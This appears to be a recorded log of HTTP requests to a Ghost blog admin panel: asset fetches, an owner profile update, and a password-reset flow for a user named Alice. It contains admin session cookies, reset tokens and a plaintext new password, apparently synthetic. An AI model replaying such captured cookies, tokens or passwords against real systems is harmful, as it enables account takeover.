{"method": "GET", "target": "/ghost/assets/member-custom-fields-DcFfln-a.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/src-BDyV_fBQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/list-settings-DtwS3ymI.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-feature-limit-4zNG5bLS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/gift-links-B1YU5Md_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-upgrade-route-B5f80QZK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-setting-group-D5TMKznJ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/color-picker-field-D4rsXzSv.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/color-picker-cL1FE5QD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/debounce-CmSZqU2N.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/header-image-field-Dcw8joEW.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/icon-toggle-group-CRIhZEDY.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/color-utils-DPZ_D9rj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-pintura-editor-Ba4OMh5s.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/analytics-Cnmm84rB.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-check-theme-limit-error-cdxVti9_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-query-params-Db2_7OQG.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/stripe-button-B_jqNRxG.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/tier-detail-preview-BQcFMMKy.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-url-input-BYvhvRBx.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "GET", "target": "/ghost/assets/format-url-AXIF9pWF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/users/6af4570fd281b00001a59891/?include=roles", "headers": ["Host: example.com", "Content-Length: 1369", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": "{\"users\":[{\"id\":\"6af4570fd281b00001a59891\",\"name\":\"Alice Example\",\"slug\":\"alice\",\"email\":\"alice@example.com\",\"profile_image\":null,\"cover_image\":null,\"bio\":null,\"website\":null,\"location\":null,\"facebook\":null,\"twitter\":null,\"threads\":null,\"bluesky\":null,\"mastodon\":null,\"tiktok\":null,\"youtube\":null,\"instagram\":null,\"linkedin\":null,\"accessibility\":\"{\\\"whatsNew\\\":{\\\"lastSeenDate\\\":\\\"2026-11-11T11:54:12.801Z\\\"},\\\"nightShift\\\":\\\"system\\\",\\\"onboarding\\\":{\\\"completedSteps\\\":[],\\\"checklistState\\\":\\\"started\\\",\\\"startedAt\\\":\\\"2026-11-11T11:54:12.758Z\\\"},\\\"navigation\\\":{\\\"expanded\\\":{\\\"posts\\\":true,\\\"members\\\":true},\\\"menu\\\":{\\\"visible\\\":true}}}\",\"status\":\"active\",\"meta_title\":null,\"meta_description\":null,\"tour\":null,\"last_seen\":\"2026-11-11T11:54:12.000Z\",\"comment_notifications\":true,\"free_member_signup_notification\":true,\"paid_subscription_started_notification\":true,\"paid_subscription_canceled_notification\":false,\"mention_notifications\":true,\"recommendation_notifications\":true,\"milestone_notifications\":true,\"donation_notifications\":true,\"gift_subscription_notifications\":true,\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:54:12.000Z\",\"roles\":[{\"id\":\"6af4570fd281b00001a59896\",\"name\":\"Owner\",\"description\":\"Blog Owner\",\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:52:47.000Z\"}],\"url\":\"http://example.com/author/alice/\"}]}"}
{"method": "GET", "target": "/ghost/assets/signin-DyvUc-9g.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/authentication/password_reset/", "headers": ["Host: example.com", "Content-Length: 50", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"password_reset\":[{\"email\":\"alice@example.com\"}]}"}
{"method": "GET", "target": "/ghost/reset/MTc5NDQ4NDU2OTEzMnxhbGljZUBleGFtcGxlLmNvbXw0K05heDREb1JvdDJ0eFRKOGZ3cWJQNGlNS2NLSU1LMHJCZmoyT0xXcHdVPQ/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/reset-CSFWz6q9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/reset/MTc5NDQ4NDU4MTQyOHxhbGljZUBleGFtcGxlLmNvbXxhaEY2WkdnSCtjVi81dVZUbHZDSnI4OFI1SkRRUC9nRnIxVXBvS3hwMExJPQ/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/authentication/password_reset/", "headers": ["Host: example.com", "Content-Length: 205", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"password_reset\":[{\"token\":\"MTc5NDQ4NDU4MTQyOHxhbGljZUBleGFtcGxlLmNvbXxhaEY2WkdnSCtjVi81dVZUbHZDSnI4OFI1SkRRUC9nRnIxVXBvS3hwMExJPQ\",\"newPassword\":\"Hv4-mQz8-Lr2x-Tp9w\",\"ne2Password\":\"Hv4-mQz8-Lr2x-Tp9w\"}]}"}
{"method": "GET", "target": "/ghost/assets/overview-BDaNMWAn.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/post-utils-BquGrXlP.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/post-helpers-LZp03sYO.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/date-utils-z22LS7qM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/date-range-select-BlnphfjU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/card-DPXlaRvx.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/gh-chart-BI-8tErJ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/chart-Cf6NuIj-.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/pagemenu-65l5c8WQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/kpi-card-CHygnBnv.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/trend-badge-wNKjMxTt.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/stats-view-BK_XhwrN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/list-page-CnIBL9cj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-analytics-data-D2HOTQf5.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-growth-stats-Bgr_JFJl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/audience-CXSF0dEC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/url-helpers-mynMXAVw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/post-share-modal-If8BRdxt.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/assets/feature-image-placeholder-CS1tmsUg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
{"method": "GET", "target": "/ghost/reset/MTc5NDQ4NDYxOTgyOXxhbGljZUBleGFtcGxlLmNvbXxDSkJhVE1BU3RrYmFWTE90ZG1sMjlrbk5LOUk0WS9yU3BmQXRZZEFSZTFnPQ/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/authentication/password_reset/", "headers": ["Host: example.com", "Content-Length: 205", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"password_reset\":[{\"token\":\"MTc5NDQ4NDYxOTgyOXxhbGljZUBleGFtcGxlLmNvbXxDSkJhVE1BU3RrYmFWTE90ZG1sMjlrbk5LOUk0WS9yU3BmQXRZZEFSZTFnPQ\",\"newPassword\":\"Hv4-mQz8-Lr2x-Tp9w\",\"ne2Password\":\"Hv4-mQz8-Lr2x-Tp9w\"}]}"}
